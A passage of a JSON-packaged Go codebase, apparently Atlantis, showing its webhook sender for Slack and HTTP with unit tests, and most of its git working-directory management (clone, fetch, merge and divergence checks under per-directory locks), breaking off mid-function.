hook.Send(logging.NewNoopLogger(t), result)\n\tOk(t, err)\n\tclient.VerifyWasCalled(Never()).PostMessage(channel, result)\n}\n"
  },
  {
    "path": "server/events/webhooks/webhooks.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage webhooks\n\nimport (\n\t\"fmt\"\n\t\"regexp\"\n\n\t\"errors\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\nconst SlackKind = \"slack\"\nconst HttpKind = \"http\"\nconst ApplyEvent = \"apply\"\n\n//go:generate pegomock generate --package mocks -o mocks/mock_sender.go Sender\n\n// Sender sends webhooks.\ntype Sender interface {\n\t// Send sends the webhook (if the implementation thinks it should).\n\tSend(log logging.SimpleLogging, applyResult ApplyResult) error\n}\n\n// ApplyResult is the result of a terraform apply.\ntype ApplyResult struct {\n\tWorkspace   string\n\tRepo        models.Repo\n\tPull        models.PullRequest\n\tUser        models.User\n\tSuccess     bool\n\tDirectory   string\n\tProjectName string\n}\n\n// MultiWebhookSender sends multiple webhooks for each one it's configured for.\ntype MultiWebhookSender struct {\n\tWebhooks []Sender\n}\n\ntype Config struct {\n\tEvent          string\n\tWorkspaceRegex string\n\tBranchRegex    string\n\tKind           string\n\tChannel        string\n\tURL            string\n}\n\ntype Clients struct {\n\tSlack SlackClient\n\tHttp  *HttpClient\n}\n\nfunc NewMultiWebhookSender(configs []Config, clients Clients) (*MultiWebhookSender, error) {\n\tvar webhooks []Sender\n\tfor _, c := range configs {\n\t\twr, err := regexp.Compile(c.WorkspaceRegex)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tbr, err := regexp.Compile(c.BranchRegex)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif c.Kind == \"\" || c.Event == \"\" {\n\t\t\treturn nil, errors.New(\"must specify \\\"kind\\\" and \\\"event\\\" keys for webhooks\")\n\t\t}\n\t\tif c.Event != ApplyEvent {\n\t\t\treturn nil, fmt.Errorf(\"\\\"event: %s\\\" not supported. Only \\\"event: %s\\\" is supported right now\", c.Event, ApplyEvent)\n\t\t}\n\t\tswitch c.Kind {\n\t\tcase SlackKind:\n\t\t\tif !clients.Slack.TokenIsSet() {\n\t\t\t\treturn nil, errors.New(\"must specify top-level \\\"slack-token\\\" if using a webhook of \\\"kind: slack\\\"\")\n\t\t\t}\n\t\t\tif c.Channel == \"\" {\n\t\t\t\treturn nil, errors.New(\"must specify \\\"channel\\\" if using a webhook of \\\"kind: slack\\\"\")\n\t\t\t}\n\t\t\tslack, err := NewSlack(wr, br, c.Channel, clients.Slack)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\twebhooks = append(webhooks, slack)\n\t\tcase HttpKind:\n\t\t\tif c.URL == \"\" {\n\t\t\t\treturn nil, errors.New(\"must specify \\\"url\\\" if using a webhook of \\\"kind: http\\\"\")\n\t\t\t}\n\t\t\thttpWebhook := &HttpWebhook{\n\t\t\t\tClient:         clients.Http,\n\t\t\t\tWorkspaceRegex: wr,\n\t\t\t\tBranchRegex:    br,\n\t\t\t\tURL:            c.URL,\n\t\t\t}\n\t\t\twebhooks = append(webhooks, httpWebhook)\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"\\\"kind: %s\\\" not supported. Only \\\"kind: %s\\\" and \\\"kind: %s\\\" are supported right now\", c.Kind, SlackKind, HttpKind)\n\t\t}\n\t}\n\n\treturn &MultiWebhookSender{\n\t\tWebhooks: webhooks,\n\t}, nil\n}\n\n// Send sends the webhook using its Webhooks.\nfunc (w *MultiWebhookSender) Send(log logging.SimpleLogging, result ApplyResult) error {\n\tfor _, w := range w.Webhooks {\n\t\tif err := w.Send(log, result); err != nil {\n\t\t\tlog.Warn(\"error sending webhook: %s\", err)\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "server/events/webhooks/webhooks_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage webhooks_test\n\nimport (\n\t\"net/http\"\n\t\"strings\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/events/webhooks\"\n\t\"github.com/runatlantis/atlantis/server/events/webhooks/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nconst (\n\tvalidEvent   = webhooks.ApplyEvent\n\tvalidRegex   = \".*\"\n\tvalidKind    = webhooks.SlackKind\n\tvalidChannel = \"validchannel\"\n)\n\nvar validConfig = webhooks.Config{\n\tEvent:          validEvent,\n\tWorkspaceRegex: validRegex,\n\tBranchRegex:    validRegex,\n\tKind:           validKind,\n\tChannel:        validChannel,\n}\n\nfunc validConfigs() []webhooks.Config {\n\treturn []webhooks.Config{validConfig}\n}\n\nfunc validClients() webhooks.Clients {\n\treturn webhooks.Clients{\n\t\tSlack: mocks.NewMockSlackClient(),\n\t\tHttp:  &webhooks.HttpClient{Client: http.DefaultClient},\n\t}\n}\n\nfunc TestNewWebhooksManager_InvalidWorkspaceRegex(t *testing.T) {\n\tt.Log(\"When given an invalid workspace regex in a config, an error is returned\")\n\tRegisterMockTestingT(t)\n\tclients := validClients()\n\n\tinvalidRegex := \"(\"\n\tconfigs := validConfigs()\n\tconfigs[0].WorkspaceRegex = invalidRegex\n\t_, err := webhooks.NewMultiWebhookSender(configs, clients)\n\tAssert(t, err != nil, \"expected error\")\n\tAssert(t, strings.Contains(err.Error(), \"error parsing regexp\"), \"expected regex error\")\n}\n\nfunc TestNewWebhooksManager_InvalidBranchRegex(t *testing.T) {\n\tt.Log(\"When given an invalid branch regex in a config, an error is returned\")\n\tRegisterMockTestingT(t)\n\tclients := validClients()\n\n\tinvalidRegex := \"(\"\n\tconfigs := validConfigs()\n\tconfigs[0].BranchRegex = invalidRegex\n\t_, err := webhooks.NewMultiWebhookSender(configs, clients)\n\tAssert(t, err != nil, \"expected error\")\n\tAssert(t, strings.Contains(err.Error(), \"error parsing regexp\"), \"expected regex error\")\n}\n\nfunc TestNewWebhooksManager_InvalidBranchAndWorkspaceRegex(t *testing.T) {\n\tt.Log(\"When given an invalid branch and invalid workspace regex in a config, an error is returned\")\n\tRegisterMockTestingT(t)\n\tclients := validClients()\n\n\tinvalidRegex := \"(\"\n\tconfigs := validConfigs()\n\tconfigs[0].WorkspaceRegex = invalidRegex\n\tconfigs[0].BranchRegex = invalidRegex\n\t_, err := webhooks.NewMultiWebhookSender(configs, clients)\n\tAssert(t, err != nil, \"expected error\")\n\tAssert(t, strings.Contains(err.Error(), \"error parsing regexp\"), \"expected regex error\")\n}\n\nfunc TestNewWebhooksManager_NoEvent(t *testing.T) {\n\tt.Log(\"When the event key is not specified in a config, an error is returned\")\n\tRegisterMockTestingT(t)\n\tclients := validClients()\n\tconfigs := validConfigs()\n\tconfigs[0].Event = \"\"\n\t_, err := webhooks.NewMultiWebhookSender(configs, clients)\n\tAssert(t, err != nil, \"expected error\")\n\tEquals(t, \"must specify \\\"kind\\\" and \\\"event\\\" keys for webhooks\", err.Error())\n}\n\nfunc TestNewWebhooksManager_UnsupportedEvent(t *testing.T) {\n\tt.Log(\"When given an unsupported event in a config, an error is returned\")\n\tRegisterMockTestingT(t)\n\tclients := validClients()\n\n\tunsupportedEvent := \"badevent\"\n\tconfigs := validConfigs()\n\tconfigs[0].Event = unsupportedEvent\n\t_, err := webhooks.NewMultiWebhookSender(configs, clients)\n\tAssert(t, err != nil, \"expected error\")\n\tEquals(t, \"\\\"event: badevent\\\" not supported. Only \\\"event: apply\\\" is supported right now\", err.Error())\n}\n\nfunc TestNewWebhooksManager_NoKind(t *testing.T) {\n\tt.Log(\"When the kind key is not specified in a config, an error is returned\")\n\tRegisterMockTestingT(t)\n\tclients := validClients()\n\tconfigs := validConfigs()\n\tconfigs[0].Kind = \"\"\n\t_, err := webhooks.NewMultiWebhookSender(configs, clients)\n\tAssert(t, err != nil, \"expected error\")\n\tEquals(t, \"must specify \\\"kind\\\" and \\\"event\\\" keys for webhooks\", err.Error())\n}\n\nfunc TestNewWebhooksManager_UnsupportedKind(t *testing.T) {\n\tt.Log(\"When given an unsupported kind in a config, an error is returned\")\n\tRegisterMockTestingT(t)\n\tclients := validClients()\n\n\tunsupportedKind := \"badkind\"\n\tconfigs := validConfigs()\n\tconfigs[0].Kind = unsupportedKind\n\t_, err := webhooks.NewMultiWebhookSender(configs, clients)\n\tAssert(t, err != nil, \"expected error\")\n\tEquals(t, \"\\\"kind: badkind\\\" not supported. Only \\\"kind: slack\\\" and \\\"kind: http\\\" are supported right now\", err.Error())\n}\n\nfunc TestNewWebhooksManager_NoConfigSuccess(t *testing.T) {\n\tt.Log(\"When there are no configs, function should succeed\")\n\tt.Log(\"passing any client should succeed\")\n\tvar emptyConfigs []webhooks.Config\n\temptyToken := \"\"\n\tanyClients := webhooks.Clients{\n\t\tSlack: webhooks.NewSlackClient(emptyToken),\n\t\tHttp:  &webhooks.HttpClient{Client: http.DefaultClient},\n\t}\n\tm, err := webhooks.NewMultiWebhookSender(emptyConfigs, anyClients)\n\tOk(t, err)\n\tEquals(t, 0, len(m.Webhooks)) // nolint: staticcheck\n\n\tt.Log(\"passing nil client should succeed\")\n\tm, err = webhooks.NewMultiWebhookSender(emptyConfigs, webhooks.Clients{})\n\tOk(t, err)\n\tEquals(t, 0, len(m.Webhooks)) // nolint: staticcheck\n}\nfunc TestNewWebhooksManager_SingleConfigSuccess(t *testing.T) {\n\tt.Log(\"When there is one valid config, function should succeed\")\n\tRegisterMockTestingT(t)\n\tclients := validClients()\n\tWhen(clients.Slack.TokenIsSet()).ThenReturn(true)\n\n\tconfigs := validConfigs()\n\tm, err := webhooks.NewMultiWebhookSender(configs, clients)\n\tOk(t, err)\n\tEquals(t, 1, len(m.Webhooks)) // nolint: staticcheck\n}\n\nfunc TestNewWebhooksManager_MultipleConfigSuccess(t *testing.T) {\n\tt.Log(\"When there are multiple valid configs, function should succeed\")\n\tRegisterMockTestingT(t)\n\tclients := validClients()\n\tWhen(clients.Slack.TokenIsSet()).ThenReturn(true)\n\n\tvar configs []webhooks.Config\n\tnConfigs := 5\n\tfor range nConfigs {\n\t\tconfigs = append(configs, validConfig)\n\t}\n\tm, err := webhooks.NewMultiWebhookSender(configs, clients)\n\tOk(t, err)\n\tEquals(t, nConfigs, len(m.Webhooks)) // nolint: staticcheck\n}\n\nfunc TestSend_SingleSuccess(t *testing.T) {\n\tt.Log(\"Sending one webhook should succeed\")\n\tRegisterMockTestingT(t)\n\tsender := mocks.NewMockSender()\n\tmanager := webhooks.MultiWebhookSender{\n\t\tWebhooks: []webhooks.Sender{sender},\n\t}\n\tlogger := logging.NewNoopLogger(t)\n\tresult := webhooks.ApplyResult{}\n\tmanager.Send(logger, result) // nolint: errcheck\n\tsender.VerifyWasCalledOnce().Send(logger, result)\n}\n\nfunc TestSend_MultipleSuccess(t *testing.T) {\n\tt.Log(\"Sending multiple webhooks should succeed\")\n\tRegisterMockTestingT(t)\n\tsenders := []*mocks.MockSender{\n\t\tmocks.NewMockSender(),\n\t\tmocks.NewMockSender(),\n\t\tmocks.NewMockSender(),\n\t}\n\tmanager := webhooks.MultiWebhookSender{\n\t\tWebhooks: []webhooks.Sender{senders[0], senders[1], senders[2]},\n\t}\n\tlogger := logging.NewNoopLogger(t)\n\tresult := webhooks.ApplyResult{}\n\terr := manager.Send(logger, result)\n\tOk(t, err)\n\tfor _, s := range senders {\n\t\ts.VerifyWasCalledOnce().Send(logger, result)\n\t}\n}\n"
  },
  {
    "path": "server/events/working_dir.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n)\n\nconst workingDirPrefix = \"repos\"\n\nconst prSourceRemote = \"source\"\n\n// gitLocks holds per-clone-dir locks: \"repo-lock/<cloneDir>\" -> *sync.RWMutex (read for steps, write for clone/reset/merge), \"ref-lock/<cloneDir>\" -> *sync.Mutex (serialize fetch).\nvar gitLocks sync.Map\nvar recheckRequiredMap sync.Map\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_working_dir.go WorkingDir\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package events WorkingDir\n\n// WorkingDir handles the workspace on disk for running commands.\ntype WorkingDir interface {\n\t// Clone git clones headRepo, checks out the branch and then returns the\n\t// absolute path to the root of the cloned repo.\n\tClone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error)\n\t// MergeAgain merges again with upstream if upstream has been modified, returns\n\t// whether it actually did a new merge\n\tMergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error)\n\t// GetWorkingDir returns the path to the workspace for this repo and pull.\n\t// If workspace does not exist on disk, error will be of type os.IsNotExist.\n\tGetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error)\n\tHasDiverged(logger logging.SimpleLogging, cloneDir string) bool\n\tGetPullDir(r models.Repo, p models.PullRequest) (string, error)\n\t// Delete deletes the workspace for this repo and pull.\n\tDelete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error\n\tDeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error\n\t// DeletePlan deletes the plan for this repo, pull, workspace path and project name\n\tDeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) error\n\t// GetGitUntrackedFiles returns a list of Git untracked files in the working dir.\n\tGetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error)\n\t// GitReadLock acquires a shared lock so clone/reset/merge cannot run while the caller is using the working dir (e.g. running plan/apply). Call the returned function when done.\n\tGitReadLock(r models.Repo, p models.PullRequest, workspace string) func()\n}\n\n// FileWorkspace implements WorkingDir with the file system.\ntype FileWorkspace struct {\n\tDataDir string\n\t// CheckoutMerge is true if we should check out the branch that corresponds\n\t// to what the base branch will look like *after* the pull request is merged.\n\t// If this is false, then we will check out the head branch from the pull\n\t// request.\n\tCheckoutMerge bool\n\t// CheckoutDepth is how many commits of feature branch and main branch we'll\n\t// retrieve by default. If their merge base is not retrieved with this depth,\n\t// full fetch will be performed. Only matters if CheckoutMerge=true.\n\tCheckoutDepth int\n\t// TestingOverrideHeadCloneURL can be used during testing to override the\n\t// URL of the head repo to be cloned. If it's empty then we clone normally.\n\tTestingOverrideHeadCloneURL string\n\t// TestingOverrideBaseCloneURL can be used during testing to override the\n\t// URL of the base repo to be cloned. If it's empty then we clone normally.\n\tTestingOverrideBaseCloneURL string\n\t// GithubAppEnabled is true and a PR number is supplied, we should fetch\n\t// the ref \"pull/PR_NUMBER/head\" from the \"origin\" remote. If this is false,\n\t// we fetch \"+refs/heads/$HEAD_BRANCH\" from the \"<prSourceRemote>\" remote.\n\tGithubAppEnabled bool\n\t// use the global setting without overriding\n\tGpgNoSigningEnabled bool\n\t// flag indicating if we have to merge with potential new changes upstream (directly after grabbing project lock)\n\tCheckForUpstreamChanges bool\n}\n\n// Clone git clones headRepo, checks out the branch and then returns the absolute\n// path to the root of the cloned repo.\n// If the repo already exists and is at\n// the right commit it does nothing. This is to support running commands in\n// multiple dirs of the same repo without deleting existing plans.\nfunc (w *FileWorkspace) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) {\n\tcloneDir := w.cloneDir(p.BaseRepo, p, workspace)\n\n\t// Unconditionally wait for the clone lock here, if anyone else is doing any clone\n\t// operation in this directory, we wait for it to finish before we check anything.\n\tgitWriteUnlockFn := w.gitWriteLock(cloneDir)\n\tdefer gitWriteUnlockFn()\n\n\tc := wrappedGitContext{cloneDir, headRepo, p}\n\tok, err := w.attemptReuseCloneDir(logger, c, cloneDir)\n\tif ok && err == nil {\n\t\treturn cloneDir, nil\n\t}\n\tif err != nil {\n\t\tlogger.Err(\"An error occurred attempting to reuse the clone dir, falling back to forced clone. This is likely a bug please report: %v\", err)\n\t}\n\treturn cloneDir, w.forceClone(logger, c)\n}\n\n// attemptReuseCloneDir tries to reuse an existing cloneDir.\n//\n// It returns:\n// - (true, nil) → reuse succeeded; caller should use this cloneDir directly\n// - (false, nil) → reuse was not possible for an expected reason; caller should force clone\n// - (false, err) → an unexpected error occurred; caller should log the error and force clone\n// Locks are acquired by the caller.\nfunc (w *FileWorkspace) attemptReuseCloneDir(logger logging.SimpleLogging, c wrappedGitContext, cloneDir string) (bool, error) {\n\t// If the directory doesn't exist yet, surely we can't reuse it\n\tif _, err := os.Stat(cloneDir); err != nil {\n\t\treturn false, nil\n\t}\n\tlogger.Debug(\"clone directory '%s' already exists, checking if it's at the right commit\", cloneDir)\n\n\tisUpToDate, err := w.isBranchAtTargetRef(logger, c, c.pr.HeadCommit)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif isUpToDate {\n\t\tlogger.Info(\"repo is at correct commit %q so will not re-clone\", c.pr.HeadCommit)\n\t\treturn true, nil\n\t}\n\tif !w.remoteHasBranch(logger, c, c.pr.BaseBranch) {\n\t\tlogger.Info(\"repo appears to have changed base branch, must reclone\")\n\t\treturn false, nil\n\t}\n\tlogger.Info(\"repo was already cloned but branch is not at correct commit, updating to %q\", c.pr.HeadCommit)\n\terr = w.updateToRef(logger, c, c.pr.HeadCommit)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn true, nil\n}\n\n// MergeAgain merges again with upstream if we are using the merge checkout strategy,\n// and upstream has been modified since we last checked.\n// It returns a flag indicating whether we had to merge with upstream again.\nfunc (w *FileWorkspace) MergeAgain(\n\tlogger logging.SimpleLogging,\n\theadRepo models.Repo,\n\tp models.PullRequest,\n\tworkspace string) (bool, error) {\n\n\tif !w.CheckoutMerge {\n\t\treturn false, nil\n\t}\n\n\tcloneDir := w.cloneDir(p.BaseRepo, p, workspace)\n\t// We atomically set the recheckRequiredMap flag here before grabbing the clone lock.\n\t// If the flag is cleared after we grab the lock, it means some other thread\n\t// did the necessary work late enough that we do not have to do it again.\n\trecheckRequiredMap.Store(cloneDir, struct{}{})\n\n\t// Unconditionally wait for the clone lock here, if anyone else is doing any clone\n\t// operation in this directory, we wait for it to finish before we check anything.\n\tgitWriteUnlockFn := w.gitWriteLock(cloneDir)\n\tdefer gitWriteUnlockFn()\n\n\tif _, exists := recheckRequiredMap.Load(cloneDir); !exists {\n\t\tlogger.Debug(\"Skipping upstream check. Some other thread has done this for us\")\n\t\treturn false, nil\n\t}\n\trecheckRequiredMap.Delete(cloneDir)\n\n\tc := wrappedGitContext{cloneDir, headRepo, p}\n\tif w.recheckDiverged(logger, p, headRepo, cloneDir) {\n\t\tlogger.Info(\"base branch may have been updated, using merge strategy and will merge again\")\n\t\treturn true, w.mergeAgain(logger, c)\n\t}\n\treturn false, nil\n}\n\n// recheckDiverged returns true if the branch we're merging into has diverged\n// from what we currently have checked out.\n// This matters in the case of the merge checkout strategy because after\n// cloning the repo and doing the merge, it's possible main was updated\n// and we have to perform a new merge.\n// If there are any errors we return true since we prefer to assume divergence\n// for safety.\n// Locks are acquired by the caller.\nfunc (w *FileWorkspace) recheckDiverged(logger logging.SimpleLogging, p models.PullRequest, headRepo models.Repo, cloneDir string) bool {\n\tif !w.CheckoutMerge {\n\t\t// It only makes sense to warn that main has diverged if we're using\n\t\t// the checkout merge strategy. If we're just checking out the branch,\n\t\t// then it doesn't matter what's going on with main because we've\n\t\t// decided to always run off the branch.\n\t\treturn false\n\t}\n\n\t// Bring our remote refs up to date.\n\t// Reset the URL in case we are using github app credentials since these might have\n\t// expired and refreshed and the URL would now be different.\n\t// In this case, we should be using a proxy URL which substitutes the credentials in\n\t// as a long term fix, but something like that requires more e2e testing/time\n\tcmds := [][]string{\n\t\t{\n\t\t\t\"git\", \"remote\", \"set-url\", \"origin\", p.BaseRepo.CloneURL,\n\t\t},\n\t\t{\n\t\t\t\"git\", \"remote\", \"set-url\", prSourceRemote, headRepo.CloneURL,\n\t\t},\n\t\t{\n\t\t\t\"git\", \"remote\", \"update\",\n\t\t},\n\t}\n\n\tfor _, args := range cmds {\n\t\tcmd := exec.Command(args[0], args[1:]...) // nolint: gosec\n\t\tcmd.Dir = cloneDir\n\n\t\toutput, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\tlogger.Warn(\"getting remote update failed: %s\", string(output))\n\t\t\treturn true\n\t\t}\n\t}\n\n\t// We already hold the write lock; take ref lock so fetch is serialized with other HasDiverged callers.\n\tunlockRef := w.gitRefLock(cloneDir)\n\tdefer unlockRef()\n\treturn w.hasDiverged(logger, cloneDir)\n}\n\nfunc (w *FileWorkspace) HasDiverged(logger logging.SimpleLogging, cloneDir string) bool {\n\tif !w.CheckoutMerge {\n\t\t// Both the diverged warning and the UnDiverged apply requirement only apply to merge checkout strategy so\n\t\t// we assume false here for 'branch' strategy.\n\t\treturn false\n\t}\n\n\t// Hold ref lock and repo read lock for the full duration (fetch + status) so we don't race with\n\t// clone/reset/merge. recheckDiverged does not take the read lock because it already holds the write lock.\n\tunlockGitRefLock := w.gitRefLock(cloneDir)\n\tdefer unlockGitRefLock()\n\n\tunlockGitReadLock := w.gitReadLock(cloneDir)\n\tdefer unlockGitReadLock()\n\n\treturn w.hasDiverged(logger, cloneDir)\n}\n\n// hasDiverged runs fetch and git status to detect divergence. Caller must hold\n// gitRefLock(cloneDir); if not already holding the repo write lock (e.g. from recheckDiverged),\n// caller must also hold gitReadLock(cloneDir).\nfunc (w *FileWorkspace) hasDiverged(logger logging.SimpleLogging, cloneDir string) bool {\n\tlogger.Debug(\"runGitFetch: running git fetch in %s\", cloneDir)\n\tcmd := exec.Command(\"git\", \"fetch\")\n\tcmd.Dir = cloneDir\n\toutput, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\tlogger.Warn(\"HasDiverged: fetching repo has failed: %s\", string(output))\n\t\treturn true\n\t}\n\n\t// Check if remote main branch has diverged.\n\tstatusUnoCmd := exec.Command(\"git\", \"status\", \"--untracked-files=no\")\n\tstatusUnoCmd.Dir = cloneDir\n\toutputStatusUno, err := statusUnoCmd.CombinedOutput()\n\tif err != nil {\n\t\tlogger.Warn(\"getting repo status has failed: %s\", string(outputStatusUno))\n\t\treturn true\n\t}\n\treturn strings.Contains(string(outputStatusUno), \"have diverged\")\n}\n\nfunc (w *FileWorkspace) remoteHasBranch(logger logging.SimpleLogging, c wrappedGitContext, branch string) bool {\n\tref := \"refs/remotes/origin/\" + branch\n\n\terr := w.wrappedGit(logger, c, \"show-ref\", \"--verify\", ref)\n\tif err != nil {\n\t\tlogger.Warn(\"remote-tracking branch %s not found locally\", ref)\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// Locks are acquired by the caller.\nfunc (w *FileWorkspace) updateToRef(logger logging.SimpleLogging, c wrappedGitContext, targetRef string) error {\n\n\t// We use both `<prSourceRemote>` and `origin` remotes, update them both\n\tif err := w.wrappedGit(logger, c, \"fetch\", \"--all\"); err != nil {\n\t\treturn err\n\t}\n\n\t// For branch strategy it's easy: just *go to* the ref we're supposed to be at.\n\tif !w.CheckoutMerge {\n\t\treturn w.wrappedGit(logger, c, \"reset\", \"--hard\", targetRef)\n\t}\n\n\t// For merge strategy, we have to \"redo\" the merge\n\n\t// First go back to origin/main as if we just checked out\n\tif err := w.wrappedGit(logger, c, \"reset\", \"--hard\", fmt.Sprintf(\"origin/%s\", c.pr.BaseBranch)); err != nil {\n\t\treturn err\n\t}\n\n\t// Next perform the merge\n\tif err := w.mergeToBaseBranch(logger, c); err != nil {\n\t\treturn err\n\t}\n\n\t// Now just as a final check make sure we got ourselves to the right commit\n\tisUpToDate, err := w.isBranchAtTargetRef(logger, c, targetRef)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !isUpToDate {\n\t\treturn fmt.Errorf(\"post-merge verification failed: HEAD^2 != %s\", targetRef)\n\t}\n\n\treturn nil\n}\n\n// isBranchAtTargetRef confirm\nfunc (w *FileWorkspace) isBranchAtTargetRef(logger logging.SimpleLogging, c wrappedGitContext, targetRef string) (bool, error) {\n\t// We use git rev-parse to see if our repo is at the right commit.\n\t// If just checking out the pull request branch or if there is no\n\t// pull request (API triggered with a custom git ref), we can use HEAD.\n\t// If doing a merge, then HEAD won't be at the pull request's HEAD\n\t// because we'll already have performed a merge. Instead, we'll check\n\t// HEAD^2 since that will be the commit before our merge.\n\tpullHead := \"HEAD\"\n\tif w.CheckoutMerge && c.pr.Num > 0 {\n\t\tpullHead = \"HEAD^2\"\n\t}\n\trevParseCmd := exec.Command(\"git\", \"rev-parse\", pullHead) // #nosec\n\trevParseCmd.Dir = c.dir\n\toutputRevParseCmd, err := revParseCmd.CombinedOutput()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tcurrCommit := strings.Trim(string(outputRevParseCmd), \"\\n\")\n\n\tlogger.Debug(\"Comparing PR ref %q to local ref %q\", targetRef, currCommit)\n\n\t// We're prefix matching here because BitBucket doesn't give us the full\n\t// commit, only a 12 character prefix.\n\treturn strings.HasPrefix(currCommit, targetRef), nil\n}\n\nfunc (w *FileWorkspace) forceClone(logger logging.SimpleLogging, c wrappedGitContext) error {\n\terr := os.RemoveAll(c.dir)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"deleting dir '%s' before cloning: %w\", c.dir, err)\n\t}\n\n\t// Create the directory and parents if necessary.\n\tlogger.Info(\"creating dir '%s'\", c.dir)\n\tif err := os.MkdirAll(c.dir, 0700); err != nil {\n\t\treturn fmt.Errorf(\"creating new workspace: %w\", err)\n\t}\n\n\t// During testing, we mock some of this out.\n\theadCloneURL := c.head.CloneURL\n\tif w.TestingOverrideHeadCloneURL != \"\" {\n\t\theadCloneURL = w.TestingOverrideHeadCloneURL\n\t}\n\tbaseCloneURL := c.pr.BaseRepo.CloneURL\n\tif w.TestingOverrideBaseCloneURL != \"\" {\n\t\tbaseCloneURL = w.TestingOverrideBaseCloneURL\n\t}\n\n\t// if branch strategy, use depth=1\n\tif !w.CheckoutMerge {\n\t\treturn w.wrappedGit(logger, c, \"clone\", \"--depth=1\", \"--branch\", c.pr.HeadBranch, \"--single-branch\", headCloneURL, c.dir)\n\t}\n\n\t// if merge strategy...\n\n\t// if no checkout depth, omit depth arg\n\tif w.CheckoutDepth == 0 {\n\t\tif err := w.wrappedGit(logger, c, \"clone\", \"--branch\", c.pr.BaseBranch, \"--single-branch\", baseCloneURL, c.dir); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tif err := w.wrappedGit(logger, c, \"clone\", \"--depth\", fmt.Sprint(w.CheckoutDepth), \"--branch\", c.pr.BaseBranch, \"--single-branch\", baseCloneURL, c.dir); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := w.wrappedGit(logger, c, \"remote\", \"add\", prSourceRemote, headCloneURL); err != nil {\n\t\treturn err\n\t}\n\tif w.GpgNoSigningEnabled {\n\t\tif err := w.wrappedGit(logger, c, \"config\", \"--local\", \"commit.gpgsign\", \"false\"); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn w.mergeToBaseBranch(logger, c)\n}\n\n// There is a new upstream update that we need, and we want to update to it\n// without deleting any existing plans\nfunc (w *FileWorkspace) mergeAgain(logger logging.SimpleLogging, c wrappedGitContext) error {\n\t// Reset branch as if it was cloned again\n\tif err := w.wrappedGit(logger, c, \"reset\", \"--hard\", fmt.Sprintf(\"refs/remotes/origin/%s\", c.pr.BaseBranch)); err != nil {\n\t\treturn err\n\t}\n\n\treturn w.mergeToBaseBranch(logger, c)\n}\n\n// wrappedGitContext is the configuration for wrappedGit that is typically unchanged\n// for a series of calls to wrappedGit\ntype wrappedGitContext struct {\n\tdir  string\n\thead models.Repo\n\tpr   models.PullRequest\n}\n\n// wrappedGit runs git with additional environment settings required for git merge,\n// and with sanitized error logging to avoid leaking git credentials\nfunc (w *FileWorkspace) wrappedGit(logger logging.SimpleLogging, c wrappedGitContext, args ...string) error {\n\tcmd := 